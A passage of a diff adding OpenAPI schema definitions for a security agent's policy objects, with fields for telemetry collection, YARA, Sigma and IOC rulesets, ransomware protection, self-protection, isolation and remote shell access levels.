+      feature_event_stacktrace:
+        title: Feature event stacktrace
+        type: boolean
+      feature_live_process_heuristics:
+        title: Feature live process heuristics
+        type: boolean
+      feature_ppl_antimalware:
+        title: Feature ppl antimalware
+        type: boolean
+      feature_process_tampering:
+        title: Feature process tampering
+        type: boolean
+      feature_windows_filesystem_events:
+        title: Feature windows filesystem events
+        type: boolean
+      fim_policy:
+        format: uuid
+        title: Fim policy
+        type: string
+        x-nullable: true
+      firewall_policy:
+        format: uuid
+        readOnly: true
+        title: Firewall policy
+        type: string
+        x-nullable: true
+      hibou_minimum_level:
+        minLength: 1
+        title: Hibou minimum level
+        type: string
+      hibou_mode:
+        maximum: 3
+        minimum: 0
+        title: Hibou mode
+        type: integer
+      hibou_skip_signed_ms:
+        title: Hibou skip signed ms
+        type: boolean
+      hibou_skip_signed_others:
+        title: Hibou skip signed others
+        type: boolean
+      hlai_files_minimum_level:
+        minLength: 1
+        title: Hlai files minimum level
+        type: string
+      hlai_files_mode:
+        maximum: 1
+        minimum: 0
+        title: Hlai files mode
+        type: integer
+      hlai_minimum_level:
+        minLength: 1
+        title: Hlai minimum level
+        type: string
+      hlai_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai mode
+        type: integer
+      hlai_pdf:
+        title: Hlai pdf
+        type: boolean
+      hlai_scan_libraries:
+        title: Hlai scan libraries
+        type: boolean
+      hlai_scripts_minimum_level:
+        minLength: 1
+        title: Hlai scripts minimum level
+        type: string
+      hlai_scripts_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai scripts mode
+        type: integer
+      hlai_skip_signed_ms:
+        title: Hlai skip signed ms
+        type: boolean
+      hlai_skip_signed_others:
+        title: Hlai skip signed others
+        type: boolean
+      hlai_vba:
+        title: Hlai vba
+        type: boolean
+      hlai_written_executable:
+        title: Hlai written executable
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_mode:
+        maximum: 3
+        minimum: 0
+        title: Ioc mode
+        type: integer
+      ioc_ruleset:
+        format: uuid
+        title: Ioc ruleset
+        type: string
+        x-nullable: true
+      ioc_scan_libraries:
+        title: Ioc scan libraries
+        type: boolean
+      ioc_scan_written_executable:
+        title: Ioc scan written executable
+        type: boolean
+      isolation_exclusions_revision:
+        maximum: 2147483647
+        minimum: 0
+        title: Isolation exclusions revision
+        type: integer
+        x-nullable: true
+      library_download_enabled:
+        title: Library download enabled
+        type: boolean
+      linux_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Linux exclusions
+        type: integer
+      linux_self_protection:
+        title: Linux self protection
+        type: boolean
+      linux_self_protection_feature_hosts:
+        title: Linux self protection feature hosts
+        type: boolean
+      linux_startup_block:
+        title: Linux startup block
+        type: boolean
+      linux_use_isolation:
+        title: Linux use isolation
+        type: boolean
+      live_telemetry_count:
+        readOnly: true
+        title: Live telemetry count
+        type: integer
+      local_endpoint_cache_size:
+        default: 10240
+        maximum: 20480
+        minimum: 512
+        title: Local endpoint cache size
+        type: integer
+      loglevel:
+        enum:
+          - CRITICAL
+          - DEBUG
+          - ERROR
+          - INFO
+          - WARNING
+        title: Loglevel
+        type: string
+      macos_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Macos exclusions
+        type: integer
+      macos_use_isolation:
+        title: Macos use isolation
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      network_isolation_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Network isolation exclusions
+        type: integer
+      on_alert_telemetry_count:
+        readOnly: true
+        title: On alert telemetry count
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      ransomguard_auto_blacklist:
+        title: Ransomguard auto blacklist
+        type: boolean
+      ransomguard_canaries_name:
+        minLength: 1
+        title: Ransomguard canaries name
+        type: string
+        x-nullable: true
+      ransomguard_heuristic_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Ransomguard heuristic mode
+        type: integer
+      ransomguard_mode:
+        maximum: 3
+        minimum: 0
+        title: Ransomguard mode
+        type: integer
+      remote_shell_mode:
+        enum:
+          - disabled
+          - read
+          - read_write
+          - read_write_execute
+        title: Remote shell mode
+        type: string
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      self_protection:
+        title: Self protection
+        type: boolean
+      self_protection_feature_hosts:
+        title: Self protection feature hosts
+        type: boolean
+      self_protection_feature_safe_mode:
+        title: Self protection feature safe mode
+        type: boolean
+      self_protection_firewall:
+        title: Self protection firewall
+        type: boolean
+      sidewatch_mode:
+        maximum: 3
+        minimum: 0
+        title: Sidewatch mode
+        type: integer
+      sigma_mode:
+        maximum: 3
+        minimum: 0
+        title: Sigma mode
+        type: integer
+      sigma_ruleset:
+        format: uuid
+        title: Sigma ruleset
+        type: string
+        x-nullable: true
+      sleepjitter:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleepjitter
+        type: integer
+      sleeptime:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleeptime
+        type: integer
+      telemetry_alerts_limit:
+        title: Telemetry alerts limit
+        type: boolean
+      telemetry_alerts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry alerts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_limit:
+        title: Telemetry amsi dynamic scripts limit
+        type: boolean
+      telemetry_amsi_dynamic_scripts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi dynamic scripts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi dynamic scripts state
+        type: string
+      telemetry_amsi_other_scans_limit:
+        title: Telemetry amsi other scans limit
+        type: boolean
+      telemetry_amsi_other_scans_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi other scans limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_other_scans_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi other scans state
+        type: string
+      telemetry_authentication:
+        title: Telemetry authentication
+        type: boolean
+      telemetry_authentication_limit:
+        title: Telemetry authentication limit
+        type: boolean
+      telemetry_authentication_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry authentication limit value
+        type: integer
+        x-nullable: true
+      telemetry_authentication_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry authentication state
+        type: string
+      telemetry_dns_resolution:
+        title: Telemetry dns resolution
+        type: boolean
+      telemetry_dns_resolution_limit:
+        title: Telemetry dns resolution limit
+        type: boolean
+      telemetry_dns_resolution_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry dns resolution limit value
+        type: integer
+        x-nullable: true
+      telemetry_dns_resolution_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry dns resolution state
+        type: string
+      telemetry_dotnet_library_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry dotnet library state
+        type: string
+      telemetry_driverload:
+        title: Telemetry driverload
+        type: boolean
+      telemetry_driverload_limit:
+        title: Telemetry driverload limit
+        type: boolean
+      telemetry_driverload_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry driverload limit value
+        type: integer
+        x-nullable: true
+      telemetry_driverload_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry driverload state
+        type: string
+      telemetry_file_download_limit:
+        title: Telemetry file download limit
+        type: boolean
+      telemetry_file_download_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file download limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_download_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry file download state
+        type: string
+      telemetry_file_limit:
+        title: Telemetry file limit
+        type: boolean
+      telemetry_file_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry file state
+        type: string
+      telemetry_kube_pod_event_limit:
+        title: Telemetry kube pod event limit
+        type: boolean
+      telemetry_kube_pod_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry kube pod event limit value
+        type: integer
+        x-nullable: true
+      telemetry_kube_pod_event_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry kube pod event state
+        type: string
+      telemetry_library_load_limit:
+        title: Telemetry library load limit
+        type: boolean
+      telemetry_library_load_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry library load limit value
+        type: integer
+        x-nullable: true
+      telemetry_library_load_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry library load state
+        type: string
+      telemetry_log:
+        title: Telemetry log
+        type: boolean
+      telemetry_log_limit:
+        title: Telemetry log limit
+        type: boolean
+      telemetry_log_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry log limit value
+        type: integer
+        x-nullable: true
+      telemetry_log_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry log state
+        type: string
+      telemetry_named_pipe_limit:
+        title: Telemetry named pipe limit
+        type: boolean
+      telemetry_named_pipe_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry named pipe limit value
+        type: integer
+        x-nullable: true
+      telemetry_named_pipe_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry named pipe state
+        type: string
+      telemetry_network:
+        title: Telemetry network
+        type: boolean
+      telemetry_network_limit:
+        title: Telemetry network limit
+        type: boolean
+      telemetry_network_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_limit:
+        title: Telemetry network listen limit
+        type: boolean
+      telemetry_network_listen_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network listen limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry network listen state
+        type: string
+      telemetry_network_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry network state
+        type: string
+      telemetry_on_alert_enabled:
+        title: Telemetry on alert enabled
+        type: boolean
+      telemetry_on_alert_live_overrides:
+        items:
+          enum:
+            - telemetry_file_state
+            - telemetry_named_pipe_state
+            - telemetry_network_listen_state
+            - telemetry_process_access_state
+            - telemetry_process_tamper_state
+            - telemetry_raw_device_access_state
+            - telemetry_raw_socket_creation_state
+            - telemetry_registry_state
+            - telemetry_url_request_state
+            - telemetry_wmi_event_state
+          type: string
+        type: array
+      telemetry_on_alert_post_alert_max_duration_secs:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max duration secs
+        type: integer
+      telemetry_on_alert_post_alert_max_event_count:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max event count
+        type: integer
+      telemetry_on_alert_pre_alert_event_count:
+        maximum: 2147483647
+        minimum: 1
+        title: Telemetry on alert pre alert event count
+        type: integer
+      telemetry_powershell:
+        title: Telemetry powershell
+        type: boolean
+      telemetry_powershell_limit:
+        title: Telemetry powershell limit
+        type: boolean
+      telemetry_powershell_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry powershell limit value
+        type: integer
+        x-nullable: true
+      telemetry_powershell_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry powershell state
+        type: string
+      telemetry_process:
+        title: Telemetry process
+        type: boolean
+      telemetry_process_access_limit:
+        title: Telemetry process access limit
+        type: boolean
+      telemetry_process_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process access limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process access state
+        type: string
+      telemetry_process_limit:
+        title: Telemetry process limit
+        type: boolean
+      telemetry_process_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry process state
+        type: string
+      telemetry_process_tamper_limit:
+        title: Telemetry process tamper limit
+        type: boolean
+      telemetry_process_tamper_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process tamper limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_tamper_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process tamper state
+        type: string
+      telemetry_raw_device_access_limit:
+        title: Telemetry raw device access limit
+        type: boolean
+      telemetry_raw_device_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw device access limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_device_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw device access state
+        type: string
+      telemetry_raw_socket_creation_limit:
+        title: Telemetry raw socket creation limit
+        type: boolean
+      telemetry_raw_socket_creation_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw socket creation limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_socket_creation_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw socket creation state
+        type: string
+      telemetry_registry_limit:
+        title: Telemetry registry limit
+        type: boolean
+      telemetry_registry_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry registry limit value
+        type: integer
+        x-nullable: true
+      telemetry_registry_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry registry state
+        type: string
+      telemetry_remotethread:
+        title: Telemetry remotethread
+        type: boolean
+      telemetry_remotethread_limit:
+        title: Telemetry remotethread limit
+        type: boolean
+      telemetry_remotethread_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry remotethread limit value
+        type: integer
+        x-nullable: true
+      telemetry_remotethread_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry remotethread state
+        type: string
+      telemetry_scheduled_tasks_limit:
+        title: Telemetry scheduled tasks limit
+        type: boolean
+      telemetry_scheduled_tasks_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry scheduled tasks limit value
+        type: integer
+        x-nullable: true
+      telemetry_scheduled_tasks_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry scheduled tasks state
+        type: string
+      telemetry_service_limit:
+        title: Telemetry service limit
+        type: boolean
+      telemetry_service_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry service limit value
+        type: integer
+        x-nullable: true
+      telemetry_service_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry service state
+        type: string
+      telemetry_url_request_limit:
+        title: Telemetry url request limit
+        type: boolean
+      telemetry_url_request_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry url request limit value
+        type: integer
+        x-nullable: true
+      telemetry_url_request_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry url request state
+        type: string
+      telemetry_usb_activity_limit:
+        title: Telemetry usb activity limit
+        type: boolean
+      telemetry_usb_activity_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry usb activity limit value
+        type: integer
+        x-nullable: true
+      telemetry_usb_activity_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry usb activity state
+        type: string
+      telemetry_user_group_limit:
+        title: Telemetry user group limit
+        type: boolean
+      telemetry_user_group_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry user group limit value
+        type: integer
+        x-nullable: true
+      telemetry_user_group_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry user group state
+        type: string
+      telemetry_wmi_event_limit:
+        title: Telemetry wmi event limit
+        type: boolean
+      telemetry_wmi_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry wmi event limit value
+        type: integer
+        x-nullable: true
+      telemetry_wmi_event_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry wmi event state
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      thread_download_enabled:
+        title: Thread download enabled
+        type: boolean
+      use_driver:
+        readOnly: true
+        title: Use driver
+        type: boolean
+      use_isolation:
+        title: Use isolation
+        type: boolean
+      use_process_block:
+        readOnly: true
+        title: Use process block
+        type: string
+      vulnerability_policy:
+        format: uuid
+        title: Vulnerability policy
+        type: string
+        x-nullable: true
+      windows_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Windows exclusions
+        type: integer
+      windows_self_protection:
+        title: Windows self protection
+        type: boolean
+      windows_self_protection_feature_firewall:
+        title: Windows self protection feature firewall
+        type: boolean
+      windows_self_protection_feature_hosts:
+        title: Windows self protection feature hosts
+        type: boolean
+      windows_self_protection_feature_safe_mode:
+        title: Windows self protection feature safe mode
+        type: boolean
+      yara_mode:
+        maximum: 3
+        minimum: 0
+        title: Yara mode
+        type: integer
+      yara_ruleset:
+        format: uuid
+        title: Yara ruleset
+        type: string
+        x-nullable: true
+      yara_scan_libraries_load:
+        title: Yara scan libraries load
+        type: boolean
+      yara_scan_written_executable:
+        title: Yara scan written executable
+        type: boolean
+      yara_scan_written_files:
+        title: Yara scan written files
+        type: boolean
+      yara_skip_signed_ms:
+        title: Yara skip signed ms
+        type: boolean
+      yara_skip_signed_others:
+        title: Yara skip signed others
+        type: boolean
+    required:
+      - name
+    type: object
+  PolicyAutomation:
+    properties:
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      group_ids:
+        minLength: 1
+        title: Group ids
+        type: string
+      hash:
+        minLength: 1
+        title: Hash
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      policy_id:
+        format: uuid
+        title: Policy id
+        type: string
+      priority:
+        title: Priority
+        type: integer
+      rules:
+        items:
+          $ref: '#/definitions/PolicyAutomationRule'
+        type: array
+    required:
+      - comment
+      - group_ids
+      - hash
+      - id
+      - last_modifier_id
+      - last_update
+      - policy_id
+      - priority
+      - rules
+    type: object
+  PolicyAutomationRule:
+    properties:
+      case_insensitive:
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        title: Field
+        type: string
+      operator:
+        minLength: 1
+        title: Operator
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - case_insensitive
+      - field
+      - operator
+      - value
+    type: object
+  PolicyLight:
+    properties:
+      agent_auto_forget:
+        default: false
+        title: Agent auto forget
+        type: boolean
+      agent_auto_forget_max_days:
+        default: 1
+        minimum: 1
+        title: Agent auto forget max days
+        type: integer
+      agent_auto_update:
+        title: Agent auto update
+        type: boolean
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_ui_admin_message:
+        title: Agent ui admin message
+        type: string
+        x-nullable: true
+      agent_ui_enabled:
+        title: Agent ui enabled
+        type: boolean
+      agent_ui_notification_level:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification level
+        type: integer
+      agent_ui_notification_scope:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Agent ui notification scope
+        type: integer
+      agent_upgrade_strategy:
+        enum:
+          - latest
+          - manual
+          - stable
+        title: Agent upgrade strategy
+        type: string
+      always_go_through_proxy:
+        title: Always go through proxy
+        type: boolean
+      antivirus_policy:
+        format: uuid
+        readOnly: true
+        title: Antivirus policy
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+      antivirus_profile:
+        readOnly: true
+        title: Antivirus profile
+        type: string
+      antivirus_profile_name:
+        readOnly: true
+        title: Antivirus profile name
+        type: string
+      audit_killswitch:
+        title: Audit killswitch
+        type: boolean
+      binary_download_enabled:
+        title: Binary download enabled
+        type: boolean
+      correlation_mode:
+        maximum: 3
+        minimum: 0
+        title: Correlation mode
+        type: integer
+      correlation_ruleset:
+        format: uuid
+        title: Correlation ruleset
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        format: uuid
+        readOnly: true
+        title: Device control policy
+        type: string
+        x-nullable: true
+      driverblock_mode:
+        maximum: 3
+        minimum: 0
+        title: Driverblock mode
+        type: integer
+      driverblock_strategy:
+        enum:
+          - blocklist
+          - heuristic
+        title: Driverblock strategy
+        type: string
+      feature_callback_tampering:
+        title: Feature callback tampering
+        type: boolean
+      feature_dse_tampering_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Feature dse tampering mode
+        type: integer
+      feature_event_stacktrace:
+        title: Feature event stacktrace
+        type: boolean
+      feature_live_process_heuristics:
+        title: Feature live process heuristics
+        type: boolean
+      feature_ppl_antimalware:
+        title: Feature ppl antimalware
+        type: boolean
+      feature_process_tampering:
+        title: Feature process tampering
+        type: boolean
+      feature_windows_filesystem_events:
+        title: Feature windows filesystem events
+        type: boolean
+      fim_policy:
+        format: uuid
+        title: Fim policy
+        type: string
+        x-nullable: true
+      firewall_policy:
+        format: uuid
+        readOnly: true
+        title: Firewall policy
+        type: string
+        x-nullable: true
+      hibou_minimum_level:
+        minLength: 1
+        title: Hibou minimum level
+        type: string
+      hibou_mode:
+        maximum: 3
+        minimum: 0
+        title: Hibou mode
+        type: integer
+      hibou_skip_signed_ms:
+        title: Hibou skip signed ms
+        type: boolean
+      hibou_skip_signed_others:
+        title: Hibou skip signed others
+        type: boolean
+      hlai_files_minimum_level:
+        minLength: 1
+        title: Hlai files minimum level
+        type: string
+      hlai_files_mode:
+        maximum: 1
+        minimum: 0
+        title: Hlai files mode
+        type: integer
+      hlai_minimum_level:
+        minLength: 1
+        title: Hlai minimum level
+        type: string
+      hlai_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai mode
+        type: integer
+      hlai_pdf:
+        title: Hlai pdf
+        type: boolean
+      hlai_scan_libraries:
+        title: Hlai scan libraries
+        type: boolean
+      hlai_scripts_minimum_level:
+        minLength: 1
+        title: Hlai scripts minimum level
+        type: string
+      hlai_scripts_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai scripts mode
+        type: integer
+      hlai_skip_signed_ms:
+        title: Hlai skip signed ms
+        type: boolean
+      hlai_skip_signed_others:
+        title: Hlai skip signed others
+        type: boolean
+      hlai_vba:
+        title: Hlai vba
+        type: boolean
+      hlai_written_executable:
+        title: Hlai written executable
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_mode:
+        maximum: 3
+        minimum: 0
+        title: Ioc mode
+        type: integer
+      ioc_ruleset:
+        format: uuid
+        title: Ioc ruleset
+        type: string
+        x-nullable: true
+      ioc_scan_libraries:
+        title: Ioc scan libraries
+        type: boolean
+      ioc_scan_written_executable:
+        title: Ioc scan written executable
+        type: boolean
+      isolation_exclusions_revision:
+        maximum: 2147483647
+        minimum: 0
+        title: Isolation exclusions revision
+        type: integer
+        x-nullable: true
+      library_download_enabled:
+        title: Library download enabled
+        type: boolean
+      linux_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Linux exclusions
+        type: integer
+      linux_self_protection:
+        title: Linux self protection
+        type: boolean
+      linux_self_protection_feature_hosts:
+        title: Linux self protection feature hosts
+        type: boolean
+      linux_startup_block:
+        title: Linux startup block
+        type: boolean
+      linux_use_isolation:
+        title: Linux use isolation
+        type: boolean
+      local_endpoint_cache_size:
+        default: 10240
+        maximum: 20480
+        minimum: 512
+        title: Local endpoint cache size
+        type: integer
+      loglevel:
+        enum:
+          - CRITICAL
+          - DEBUG
+          - ERROR
+          - INFO
+          - WARNING
+        title: Loglevel
+        type: string
+      macos_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Macos exclusions
+        type: integer
+      macos_use_isolation:
+        title: Macos use isolation
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      network_isolation_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Network isolation exclusions
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      ransomguard_auto_blacklist:
+        title: Ransomguard auto blacklist
+        type: boolean
+      ransomguard_canaries_name:
+        minLength: 1
+        title: Ransomguard canaries name
+        type: string
+        x-nullable: true
+      ransomguard_heuristic_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Ransomguard heuristic mode
+        type: integer
+      ransomguard_mode:
+        maximum: 3
+        minimum: 0
+        title: Ransomguard mode
+        type: integer
+      remote_shell_mode:
+        enum:
+          - disabled
+          - read
+          - read_write
+          - read_write_execute
+        title: Remote shell mode
+        type: string
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      self_protection:
+        title: Self protection
+        type: boolean
+      self_protection_feature_hosts:
+        title: Self protection feature hosts
+        type: boolean
+      self_protection_feature_safe_mode:
+        title: Self protection feature safe mode
+        type: boolean
+      self_protection_firewall:
+        title: Self protection firewall
+        type: boolean
+      sidewatch_mode:
+        maximum: 3
+        minimum: 0
+        title: Sidewatch mode
+        type: integer
+      sigma_mode:
+        maximum: 3
+        minimum: 0
+        title: Sigma mode
+        type: integer
+      sigma_ruleset:
+        format: uuid
+        title: Sigma ruleset
+        type: string
+        x-nullable: true
+      sleepjitter:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleepjitter
+        type: integer
+      sleeptime:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleeptime
+        type: integer
+      telemetry_alerts_limit:
+        title: Telemetry alerts limit
+        type: boolean
+      telemetry_alerts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry alerts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_limit:
+        title: Telemetry amsi dynamic scripts limit
+        type: boolean
+      telemetry_amsi_dynamic_scripts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi dynamic scripts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi dynamic scripts state
+        type: string
+      telemetry_amsi_other_scans_limit:
+        title: Telemetry amsi other scans limit
+        type: boolean
+      telemetry_amsi_other_scans_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi other scans limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_other_scans_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi other scans state
+        type: string
+      telemetry_authentication:
+        title: Telemetry authentication
+        type: boolean
+      telemetry_authentication_limit:
+        title: Telemetry authentication limit
+        type: boolean
+      telemetry_authentication_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry authentication limit value
+        type: integer
+        x-nullable: true
+      telemetry_authentication_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry authentication state
+        type: string
+      telemetry_dns_resolution:
+        title: Telemetry dns resolution
+        type: boolean
+      telemetry_dns_resolution_limit:
+        title: Telemetry dns resolution limit
+        type: boolean
+      telemetry_dns_resolution_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry dns resolution limit value
+        type: integer
+        x-nullable: true
+      telemetry_dns_resolution_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry dns resolution state
+        type: string
+      telemetry_dotnet_library_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry dotnet library state
+        type: string
+      telemetry_driverload:
+        title: Telemetry driverload
+        type: boolean
+      telemetry_driverload_limit:
+        title: Telemetry driverload limit
+        type: boolean
+      telemetry_driverload_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry driverload limit value
+        type: integer
+        x-nullable: true
+      telemetry_driverload_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry driverload state
+        type: string
+      telemetry_file_download_limit:
+        title: Telemetry file download limit
+        type: boolean
+      telemetry_file_download_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file download limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_download_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry file download state
+        type: string
+      telemetry_file_limit:
+        title: Telemetry file limit
+        type: boolean
+      telemetry_file_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry file state
+        type: string
+      telemetry_kube_pod_event_limit:
+        title: Telemetry kube pod event limit
+        type: boolean
+      telemetry_kube_pod_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry kube pod event limit value
+        type: integer
+        x-nullable: true
+      telemetry_kube_pod_event_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry kube pod event state
+        type: string
+      telemetry_library_load_limit:
+        title: Telemetry library load limit
+        type: boolean
+      telemetry_library_load_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry library load limit value
+        type: integer
+        x-nullable: true
+      telemetry_library_load_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry library load state
+        type: string
+      telemetry_log:
+        title: Telemetry log
+        type: boolean
+      telemetry_log_limit:
+        title: Telemetry log limit
+        type: boolean
+      telemetry_log_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry log limit value
+        type: integer
+        x-nullable: true
+      telemetry_log_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry log state
+        type: string
+      telemetry_named_pipe_limit:
+        title: Telemetry named pipe limit
+        type: boolean
+      telemetry_named_pipe_limit_value:
